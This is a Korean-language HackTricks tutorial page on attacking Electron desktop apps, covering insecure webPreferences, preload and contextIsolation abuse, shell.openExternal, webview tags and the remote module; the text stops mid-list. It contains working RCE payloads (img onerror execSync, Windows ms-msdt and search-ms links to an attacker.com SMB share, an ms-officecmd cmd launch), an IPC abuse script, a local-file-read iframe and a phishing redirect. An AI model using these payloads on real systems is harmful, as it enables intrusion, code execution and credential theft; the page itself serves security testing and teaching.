Electron ๋ฐ์Šคํฌํ†ฑ ์•ฑ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

์†Œ๊ฐœ

Electron์€ ๋กœ์ปฌ ๋ฐฑ์—”๋“œ(NodeJS)์™€ ํ”„๋ŸฐํŠธ์—”๋“œ(Chromium)๋ฅผ ๊ฒฐํ•ฉํ•˜์ง€๋งŒ, ์ตœ์‹  ๋ธŒ๋ผ์šฐ์ €์˜ ์ผ๋ถ€ ๋ณด์•ˆ ๋ฉ”์ปค๋‹ˆ์ฆ˜์€ ๋ถ€์กฑํ•ฉ๋‹ˆ๋‹ค.

๋ณดํ†ต Electron ์•ฑ ์ฝ”๋“œ๋Š” .asar ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋‚ด๋ถ€์—์„œ ๋ฐœ๊ฒฌ๋˜๋ฉฐ, ์ฝ”๋“œ๋ฅผ ์–ป๊ธฐ ์œ„ํ•ด ์ด๋ฅผ ์ถ”์ถœํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค:

npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file

Electron ์•ฑ์˜ ์†Œ์Šค ์ฝ”๋“œ์—์„œ packet.json ์•ˆ์„ ๋ณด๋ฉด ๋ณด์•ˆ ๊ตฌ์„ฑ์ด ์„ค์ •๋œ main.js ํŒŒ์ผ์ด ์ง€์ •๋˜์–ด ์žˆ๋Š” ๊ฒƒ์„ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

{
"name": "standard-notes",
"main": "./app/index.js",

Electron์—๋Š” 2๊ฐ€์ง€ ํ”„๋กœ์„ธ์Šค ์œ ํ˜•์ด ์žˆ์Šต๋‹ˆ๋‹ค:

  • Main Process (NodeJS์— ์™„์ „ํ•œ ์ ‘๊ทผ ๊ถŒํ•œ ๋ณด์œ )
  • Renderer Process (๋ณด์•ˆ์ƒ์˜ ์ด์œ ๋กœ NodeJS ์ ‘๊ทผ์„ ์ œํ•œํ•ด์•ผ ํ•จ)

ํ•˜๋‚˜์˜ renderer process๋Š” ํŒŒ์ผ์„ ๋กœ๋“œํ•˜๋Š” ๋ธŒ๋ผ์šฐ์ € ์ฐฝ์ž…๋‹ˆ๋‹ค:

const { BrowserWindow } = require("electron")
let win = new BrowserWindow()

//Open Renderer Process
win.loadURL(`file://path/to/index.html`)

renderer process์˜ ์„ค์ •์€ main.js ํŒŒ์ผ ์•ˆ์˜ main process์—์„œ ๊ตฌ์„ฑ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ผ๋ถ€ ๊ตฌ์„ฑ์€ Electron ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด RCE๋ฅผ ์–ป๋Š” ๊ฒƒ์„ ๋ฐฉ์ง€ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋Š” ์„ค์ •์ด ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ๊ตฌ์„ฑ๋œ ๊ฒฝ์šฐ์— ํ•ด๋‹นํ•ฉ๋‹ˆ๋‹ค.

Electron ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ Node apis๋ฅผ ํ†ตํ•ด ๋””๋ฐ”์ด์Šค์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค, ๋‹ค๋งŒ ์ด๋ฅผ ๋ฐฉ์ง€ํ•˜๋„๋ก ๊ตฌ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

  • nodeIntegration - ๊ธฐ๋ณธ๊ฐ’์€ off์ž…๋‹ˆ๋‹ค. on์ด๋ฉด renderer process์—์„œ node ๊ธฐ๋Šฅ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • contextIsolation - ๊ธฐ๋ณธ๊ฐ’์€ on์ž…๋‹ˆ๋‹ค. off์ธ ๊ฒฝ์šฐ main๊ณผ renderer ํ”„๋กœ์„ธ์Šค๊ฐ€ ๊ฒฉ๋ฆฌ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.
  • preload - ๊ธฐ๋ณธ๊ฐ’์€ ๋น„์–ด ์žˆ์Šต๋‹ˆ๋‹ค.
  • sandbox - ๊ธฐ๋ณธ๊ฐ’์€ off์ž…๋‹ˆ๋‹ค. NodeJS๊ฐ€ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ๋Š” ์ž‘์—…์„ ์ œํ•œํ•ฉ๋‹ˆ๋‹ค.
  • Workers์—์„œ์˜ Node Integration
  • nodeIntegrationInSubframes - ๊ธฐ๋ณธ๊ฐ’์€ off์ž…๋‹ˆ๋‹ค.
  • **nodeIntegration**์ด ํ™œ์„ฑํ™”๋œ ๊ฒฝ์šฐ, Electron ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋‚ด์—์„œ iframe์— ๋กœ๋“œ๋œ ์›น ํŽ˜์ด์ง€์—์„œ Node.js APIs๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • **nodeIntegration**์ด ๋น„ํ™œ์„ฑํ™”๋œ ๊ฒฝ์šฐ, preload๋Š” iframe ๋‚ด์—์„œ ๋กœ๋“œ๋ฉ๋‹ˆ๋‹ค.

Example of configuration:

const mainWindowOptions = {
title: "Discord",
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: "EnumerateDevices,AudioOutputDevices",
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, "mainScreenPreload.js"),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true,
},
}

๋‹ค์Œ์€ here์—์„œ ๊ฐ€์ ธ์˜จ ์ผ๋ถ€ RCE payloads:

Example Payloads (Windows):
<img
src="x"
onerror="alert(require('child_process').execSync('calc').toString());" />

Example Payloads (Linux & MacOS):
<img
src="x"
onerror="alert(require('child_process').execSync('gnome-calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('id').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('ls -l').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />

ํŠธ๋ž˜ํ”ฝ ์บก์ฒ˜

start-main ๊ตฌ์„ฑ์„ ์ˆ˜์ •ํ•˜๊ณ  ๋‹ค์Œ๊ณผ ๊ฐ™์€ ํ”„๋ก์‹œ ์‚ฌ์šฉ์„ ์ถ”๊ฐ€ํ•˜์„ธ์š”:

"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",

Electron Local Code Injection

๋กœ์ปฌ์—์„œ Electron App์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด ์ž„์˜์˜ javascript ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๊ฒŒ ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ž์„ธํ•œ ๋‚ด์šฉ์€ ๋‹ค์Œ์„ ํ™•์ธํ•˜์„ธ์š”:

macOS Electron Applications Injection

RCE: XSS + nodeIntegration

If the nodeIntegration is set to on, a web pageโ€™s JavaScript can use Node.js features easily just by calling the require(). ์˜ˆ๋ฅผ ๋“ค์–ด, Windows์—์„œ calc ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์‹คํ–‰ํ•˜๋Š” ๋ฐฉ๋ฒ•์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

<script>
require("child_process").exec("calc")
// or
top.require("child_process").exec("open /System/Applications/Calculator.app")
</script>

RCE: preload

์ด ์„ค์ •์— ์ง€์ •๋œ ์Šคํฌ๋ฆฝํŠธ๋Š” loaded before other scripts in the renderer, ๋”ฐ๋ผ์„œ unlimited access to Node APIs๋ฅผ ๊ฐ€์ง‘๋‹ˆ๋‹ค:

new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});

๋”ฐ๋ผ์„œ ์Šคํฌ๋ฆฝํŠธ๋Š” node-features๋ฅผ ํŽ˜์ด์ง€๋กœ ๋‚ด๋ณด๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

typeof require === "function"
window.runCalc = function () {
require("child_process").exec("calc")
}
<body>
<script>
typeof require === "undefined"
runCalc()
</script>
</body>

[!NOTE] > ๋งŒ์•ฝ contextIsolation์ด ์ผœ์ ธ ์žˆ์œผ๋ฉด, ์ž‘๋™ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค

RCE: XSS + contextIsolation

_contextIsolation_๋Š” ์›น ํŽ˜์ด์ง€ ์Šคํฌ๋ฆฝํŠธ์™€ JavaScript Electron์˜ ๋‚ด๋ถ€ ์ฝ”๋“œ ์‚ฌ์ด์— ๋ถ„๋ฆฌ๋œ ์ปจํ…์ŠคํŠธ๋ฅผ ๋„์ž…ํ•˜์—ฌ ๊ฐ ์ฝ”๋“œ์˜ JavaScript ์‹คํ–‰์ด ์„œ๋กœ ์˜ํ–ฅ์„ ์ฃผ์ง€ ์•Š๋„๋ก ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” RCE ๊ฐ€๋Šฅ์„ฑ์„ ์ œ๊ฑฐํ•˜๊ธฐ ์œ„ํ•œ ํ•„์ˆ˜ ๊ธฐ๋Šฅ์ž…๋‹ˆ๋‹ค.

๋งŒ์•ฝ ์ปจํ…์ŠคํŠธ๊ฐ€ ๋ถ„๋ฆฌ๋˜์ง€ ์•Š์•˜๋‹ค๋ฉด ๊ณต๊ฒฉ์ž๋Š”:

  1. renderer์—์„œ ์ž„์˜์˜ JavaScript๋ฅผ ์‹คํ–‰ (XSS ๋˜๋Š” ์™ธ๋ถ€ ์‚ฌ์ดํŠธ๋กœ์˜ ์ด๋™)
  2. preload ๋˜๋Š” Electron ๋‚ด๋ถ€ ์ฝ”๋“œ์—์„œ ์‚ฌ์šฉ๋˜๋Š” ๋‚ด์žฅ ๋ฉ”์„œ๋“œ๋ฅผ ๋ฎ์–ด์จ์„œ ์ž์‹ ์˜ ํ•จ์ˆ˜๋กœ ๋ฐ”๊พธ๊ธฐ
  3. ๋ฎ์–ด์“ด ํ•จ์ˆ˜์˜ ์‚ฌ์šฉ์„ ์œ ๋ฐœ(Trigger)
  4. RCE?

๋‚ด์žฅ ๋ฉ”์„œ๋“œ๋ฅผ ๋ฎ์–ด์“ธ ์ˆ˜ ์žˆ๋Š” ๊ณณ์€ 2๊ณณ์ด ์žˆ์Šต๋‹ˆ๋‹ค: In preload code or in Electron internal code:

Electron contextIsolation RCE via preload code

Electron contextIsolation RCE via Electron internal code

Electron contextIsolation RCE via IPC

ํด๋ฆญ ์ด๋ฒคํŠธ ์šฐํšŒ

๋งํฌ๋ฅผ ํด๋ฆญํ•  ๋•Œ ์ œํ•œ์ด ์ ์šฉ๋˜์–ด ์žˆ๋‹ค๋ฉด ์ผ๋ฐ˜์ ์ธ ์™ผ์ชฝ ํด๋ฆญ ๋Œ€์‹  ์ค‘๊ฐ„ ํด๋ฆญ์œผ๋กœ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค

window.addEventListener('click', (e) => {

RCE via shell.openExternal

์ด ์˜ˆ์ œ๋“ค์— ๋Œ€ํ•œ ์ž์„ธํ•œ ๋‚ด์šฉ์€ https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 ๋ฐ https://benjamin-altpeter.de/shell-openexternal-dangers/์„ ํ™•์ธํ•˜์„ธ์š”.

Electron ๋ฐ์Šคํฌํ†ฑ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ๋ฐฐํฌํ•  ๋•Œ nodeIntegration๊ณผ contextIsolation ์„ค์ •์„ ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ๊ตฌ์„ฑํ•˜๋Š” ๊ฒƒ์€ ๋งค์šฐ ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์„ค์ •์ด ์ ์šฉ๋˜์–ด ์žˆ์œผ๋ฉด ๋ฉ”์ธ ํ”„๋กœ์„ธ์Šค์—์„œ preload ์Šคํฌ๋ฆฝํŠธ๋‚˜ Electron์˜ ๋„ค์ดํ‹ฐ๋ธŒ ์ฝ”๋“œ๋ฅผ ๋Œ€์ƒ์œผ๋กœ ํ•˜๋Š” **client-side remote code execution (RCE)**๊ฐ€ ํšจ๊ณผ์ ์œผ๋กœ ๋ฐฉ์ง€๋œ๋‹ค๊ณ  ์•Œ๋ ค์ ธ ์žˆ์Šต๋‹ˆ๋‹ค.

์‚ฌ์šฉ์ž๊ฐ€ ๋งํฌ๋ฅผ ํด๋ฆญํ•˜๊ฑฐ๋‚˜ ์ƒˆ ์ฐฝ์„ ์—ด๋ฉด ํŠน์ • ์ด๋ฒคํŠธ ๋ฆฌ์Šค๋„ˆ๊ฐ€ ํŠธ๋ฆฌ๊ฑฐ๋˜๋ฉฐ, ์ด๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๋ณด์•ˆ๊ณผ ๊ธฐ๋Šฅ์— ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค:

webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}

์ด ๋ฆฌ์Šค๋„ˆ๋“ค์€ ๋ฐ์Šคํฌํ†ฑ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์— ์˜ํ•ด ์žฌ์ •์˜๋˜์–ด ์ž์ฒด ๋น„์ฆˆ๋‹ˆ์Šค ๋กœ์ง์„ ๊ตฌํ˜„ํ•œ๋‹ค. ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ ํƒ์ƒ‰๋œ ๋งํฌ๋ฅผ ๋‚ด๋ถ€์—์„œ ์—ด์ง€ ์™ธ๋ถ€ ์›น ๋ธŒ๋ผ์šฐ์ €์—์„œ ์—ด์ง€ ์—ฌ๋ถ€๋ฅผ ํŒ๋‹จํ•œ๋‹ค. ์ด ๊ฒฐ์ •์€ ์ผ๋ฐ˜์ ์œผ๋กœ openInternally ํ•จ์ˆ˜๋ฅผ ํ†ตํ•ด ์ด๋ฃจ์–ด์ง„๋‹ค. ์ด ํ•จ์ˆ˜๊ฐ€ false๋ฅผ ๋ฐ˜ํ™˜ํ•˜๋ฉด, ํ•ด๋‹น ๋งํฌ๋Š” ์™ธ๋ถ€์—์„œ ์—ด๋ ค์•ผ ํ•˜๋ฉฐ shell.openExternal ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•œ๋‹ค๋Š” ์˜๋ฏธ๋‹ค.

๋‹ค์Œ์€ ๋‹จ์ˆœํ™”๋œ ์˜์‚ฌ์ฝ”๋“œ์ž…๋‹ˆ๋‹ค:

https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png

https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png

Electron JS ๋ณด์•ˆ ๊ถŒ์žฅ์‚ฌํ•ญ์€ openExternal ํ•จ์ˆ˜๋ฅผ ํ†ตํ•ด ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ์ฝ˜ํ…์ธ ๋ฅผ ์ˆ˜์šฉํ•˜์ง€ ๋ง ๊ฒƒ์„ ๊ถŒ๊ณ ํ•œ๋‹ค. ์ด๋Š” ๋‹ค์–‘ํ•œ ํ”„๋กœํ† ์ฝœ์„ ํ†ตํ•ด RCE๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค. ์šด์˜์ฒด์ œ๋Š” RCE๋ฅผ ์œ ๋ฐœํ•  ์ˆ˜ ์žˆ๋Š” ์„œ๋กœ ๋‹ค๋ฅธ ํ”„๋กœํ† ์ฝœ๋“ค์„ ์ง€์›ํ•œ๋‹ค. ์ด ์ฃผ์ œ์— ๋Œ€ํ•œ ์ž์„ธํ•œ ์˜ˆ์‹œ์™€ ์ถ”๊ฐ€ ์„ค๋ช…์€ this resource๋ฅผ ์ฐธ์กฐํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ํ•ด๋‹น ์ž๋ฃŒ์—๋Š” ์ด ์ทจ์•ฝ์ ์„ ์•…์šฉํ•  ์ˆ˜ ์žˆ๋Š” Windows ํ”„๋กœํ† ์ฝœ ์˜ˆ์‹œ๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ๋‹ค.

macos์—์„œ๋Š” openExternal ํ•จ์ˆ˜๊ฐ€ ์ž„์˜์˜ ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๋„๋ก ์•…์šฉ๋  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์˜ˆ๋ฅผ ๋“ค์–ด shell.openExternal('file:///System/Applications/Calculator.app') ๊ฐ™์€ ๋ฐฉ์‹์ด ์žˆ๋‹ค.

Windows ํ”„๋กœํ† ์ฝœ ์ต์Šคํ”Œ๋กœ์ž‡์˜ ์˜ˆ์‹œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค:

<script>
window.open(
"ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22"
)
</script>

<script>
window.open(
"search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update"
)
</script>

<script>
window.open(
"ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D"
)
</script>

RCE: webviewTag + ์ทจ์•ฝํ•œ preload IPC + shell.openExternal

์ด ์ทจ์•ฝ์ ์€ **this report**์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

The webviewTag is a ์‚ฌ์šฉ ์ค‘๋‹จ๋œ ๊ธฐ๋Šฅ that allows the use of NodeJS in the renderer process, which should be disabled as it allows to load a script inside the preload ์ปจํ…์ŠคํŠธ like:

<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>

๋”ฐ๋ผ์„œ ์ž„์˜์˜ ํŽ˜์ด์ง€๋ฅผ ๋กœ๋“œํ•˜๋Š” ๋ฐ ์„ฑ๊ณตํ•œ ๊ณต๊ฒฉ์ž๋Š” ํ•ด๋‹น ํƒœ๊ทธ๋ฅผ ์‚ฌ์šฉํ•ด ์ž„์˜์˜ preload script๋ฅผ ๋กœ๋“œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด preload script๋Š” ์ดํ›„ **vulnerable IPC service (skype-new-window)**๋ฅผ ํ˜ธ์ถœํ•˜๋„๋ก ์•…์šฉ๋˜์—ˆ๊ณ , ํ•ด๋‹น ์„œ๋น„์Šค๋Š” **shell.openExternal**์„ ํ˜ธ์ถœํ•˜์—ฌ RCE๋ฅผ ์œ ๋ฐœํ–ˆ์Šต๋‹ˆ๋‹ค:

(async() => {
const { ipcRenderer } = require("electron");
await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
setTimeout(async () => {
const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
}, 5000);
})();

๋‚ด๋ถ€ ํŒŒ์ผ ์ฝ๊ธฐ: XSS + contextIsolation

contextIsolation์„ ๋น„ํ™œ์„ฑํ™”ํ•˜๋ฉด <webview> ํƒœ๊ทธ๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค, <iframe>๊ณผ ์œ ์‚ฌํ•˜๊ฒŒ ๋กœ์ปฌ ํŒŒ์ผ์„ ์ฝ๊ณ  exfiltrateํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ œ๊ณต๋œ ์˜ˆ์‹œ๋Š” ์ด ์ทจ์•ฝ์ ์„ ์•…์šฉํ•˜์—ฌ ๋‚ด๋ถ€ ํŒŒ์ผ์˜ ๋‚ด์šฉ์„ ์ฝ๋Š” ๋ฐฉ๋ฒ•์„ ๋ณด์—ฌ์ค๋‹ˆ๋‹ค:

๋˜ํ•œ, ๋‚ด๋ถ€ ํŒŒ์ผ ์ฝ๊ธฐ์— ๋Œ€ํ•œ ๋˜ ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•์ด ๊ณต์œ ๋˜์–ด Electron ๋ฐ์Šคํฌํ†ฑ ์•ฑ์˜ ์‹ฌ๊ฐํ•œ ๋กœ์ปฌ ํŒŒ์ผ ์ฝ๊ธฐ ์ทจ์•ฝ์ ์„ ๊ฐ•์กฐํ•ฉ๋‹ˆ๋‹ค. ์—ฌ๊ธฐ์—๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์•…์šฉํ•˜๊ธฐ ์œ„ํ•ด ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์ฃผ์ž…ํ•˜๊ณ  ๋ฐ์ดํ„ฐ๋ฅผ exfiltrateํ•˜๋Š” ๊ณผ์ •์ด ํฌํ•จ๋ฉ๋‹ˆ๋‹ค:

<br /><br /><br /><br />
<h1>
pwn<br />
<iframe onload="j()" src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j() {
alert(
"pwned contents of /etc/hosts :\n\n " +
frames[0].document.body.innerText
)
}
</script>
</h1>

RCE: XSS + ์˜ค๋ž˜๋œ chromium

์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—์„œ ์‚ฌ์šฉํ•˜๋Š” chromium ์ด old ์ด๊ณ  ์—ฌ๊ธฐ์— known vulnerabilities ๊ฐ€ ์กด์žฌํ•˜๋ฉด, exploit it and obtain RCE through a XSS ํ•  ๊ฐ€๋Šฅ์„ฑ์ด ์žˆ์Šต๋‹ˆ๋‹ค.
You can see an example in this writeup: https://blog.electrovolt.io/posts/discord-rce/

XSS Phishing via Internal URL regex bypass

๋งŒ์•ฝ XSS ๋ฅผ ๋ฐœ๊ฒฌํ–ˆ์ง€๋งŒ cannot trigger RCE or steal internal files ๊ฒฝ์šฐ, ๊ทธ๊ฒƒ์„ ์ด์šฉํ•ด steal credentials via phishing ์„ ์‹œ๋„ํ•ด๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์šฐ์„  ์ƒˆ URL ์„ ์—ด๋ ค๊ณ  ์‹œ๋„ํ•  ๋•Œ ์–ด๋–ค ์ผ์ด ์ผ์–ด๋‚˜๋Š”์ง€ ์•Œ์•„์•ผ ํ•ฉ๋‹ˆ๋‹ค. front-end ์˜ JS ์ฝ”๋“œ๋ฅผ ํ™•์ธํ•ด๋ณด๋ฉด:

webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {}                    // opens the custom openInternally function (it is declared below)

The call to openInternally will decide if the link will be opened in the desktop window as itโ€™s a link belonging to the platform, or if will be opened in the browser as a 3rd party resource.

ํ•จ์ˆ˜์— ์‚ฌ์šฉ๋œ regex๊ฐ€ vulnerable to bypassesํ•œ ๊ฒฝ์šฐ(์˜ˆ: not escaping the dots of subdomains) ๊ณต๊ฒฉ์ž๋Š” XSS๋ฅผ ์•…์šฉํ•˜์—ฌ ๊ณต๊ฒฉ์ž ์ธํ”„๋ผ์— ์œ„์น˜ํ•œ open a new window which๋ฅผ ์—ด๊ณ  ์‚ฌ์šฉ์ž์—๊ฒŒ ์ž๊ฒฉ์ฆ๋ช…์„ ์š”๊ตฌํ•˜๋Š” asking for credentials ํ–‰์œ„๋ฅผ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>

file:// ํ”„๋กœํ† ์ฝœ

As mentioned in the docs pages running on file:// have unilateral access to every file on your machine meaning that XSS issues can be used to load arbitrary files from the users machine. Using a ์‚ฌ์šฉ์ž ์ •์˜ ํ”„๋กœํ† ์ฝœ prevents issues like this as you can limit the protocol to only serving a specific set of files.

Remote module

The Electron Remote module allows renderer processes to access main process APIs, facilitating communication within an Electron application. However, enabling this module introduces significant security risks. It expands the applicationโ€™s attack surface, making it more susceptible to vulnerabilities such as cross-site scripting (XSS) attacks.

Tip

๋น„๋ก remote ๋ชจ๋“ˆ์ด main์—์„œ renderer ํ”„๋กœ์„ธ์Šค๋กœ ์ผ๋ถ€ API๋ฅผ ๋…ธ์ถœ์‹œํ‚ค์ง€๋งŒ, ๊ตฌ์„ฑ ์š”์†Œ๋งŒ ์•…์šฉํ•ด์„œ ๊ณง๋ฐ”๋กœ RCE๋ฅผ ์–ป๋Š” ๊ฒƒ์€ ๊ฐ„๋‹จํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๋‹ค๋งŒ ๊ตฌ์„ฑ ์š”์†Œ๊ฐ€ ๋ฏผ๊ฐํ•œ ์ •๋ณด๋ฅผ ๋…ธ์ถœํ•  ์ˆ˜๋Š” ์žˆ์Šต๋‹ˆ๋‹ค.

Warning

์—ฌ์ „ํžˆ remote ๋ชจ๋“ˆ์„ ์‚ฌ์šฉํ•˜๋Š” ๋งŽ์€ ์•ฑ์€ renderer ํ”„๋กœ์„ธ์Šค์—์„œ NodeIntegration์„ ํ™œ์„ฑํ™”ํ•ด์•ผ ํ•˜๋Š” ๋ฐฉ์‹์œผ๋กœ ๊ตฌํ˜„๋˜์–ด ์žˆ๋Š”๋ฐ, ์ด๋Š” ๊ฑฐ๋Œ€ํ•œ ๋ณด์•ˆ ์œ„ํ—˜์ž…๋‹ˆ๋‹ค.

Since Electron 14 the remote module of Electron might be enabled in several steops cause due to security and performance reasons itโ€™s recommended to not use it.

์ด๋ฅผ ํ™œ์„ฑํ™”ํ•˜๋ ค๋ฉด ๋จผ์ € main process์—์„œ ํ™œ์„ฑํ™”ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค:

const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
[...]
function createMainWindow() {
mainWindow = new BrowserWindow({
[...]
})
remoteMain.enable(mainWindow.webContents)

๊ทธ๋Ÿฐ ๋‹ค์Œ, ๋ Œ๋”๋Ÿฌ ํ”„๋กœ์„ธ์Šค๋Š” ๋ชจ๋“ˆ์—์„œ ๊ฐ์ฒด๋ฅผ ๋‹ค์Œ๊ณผ ๊ฐ™์ด importํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

import { dialog, getCurrentWindow } from '@electron/remote'

ํ•ด๋‹น **blog post**๋Š” remote ๋ชจ๋“ˆ์˜ ๊ฐ์ฒด **app**์ด ๋…ธ์ถœํ•˜๋Š” ๋ช‡ ๊ฐ€์ง€ ํฅ๋ฏธ๋กœ์šด ํ•จ์ˆ˜๋ฅผ ์„ค๋ช…ํ•ฉ๋‹ˆ๋‹ค:

  • app.relaunch([options])
  • ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์žฌ์‹œ์ž‘ํ•ฉ๋‹ˆ๋‹ค: ํ˜„์žฌ ์ธ์Šคํ„ด์Šค๋ฅผ ์ข…๋ฃŒํ•˜๊ณ  ์ƒˆ ์ธ์Šคํ„ด์Šค๋ฅผ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค. ์•ฑ ์—…๋ฐ์ดํŠธ๋‚˜ ์ค‘์š”ํ•œ ์ƒํƒœ ๋ณ€๊ฒฝ์— ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค.
  • app.setAppLogsPath([path])
  • ์•ฑ ๋กœ๊ทธ๋ฅผ ์ €์žฅํ•  ๋””๋ ‰ํ„ฐ๋ฆฌ๋ฅผ ์ •์˜ํ•˜๊ฑฐ๋‚˜ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค. ๋กœ๊ทธ๋Š” app.getPath() ๋˜๋Š” **app.setPath(pathName, newPath)**๋ฅผ ์‚ฌ์šฉํ•ด ์กฐํšŒํ•˜๊ฑฐ๋‚˜ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • app.setAsDefaultProtocolClient(protocol[, path, args])
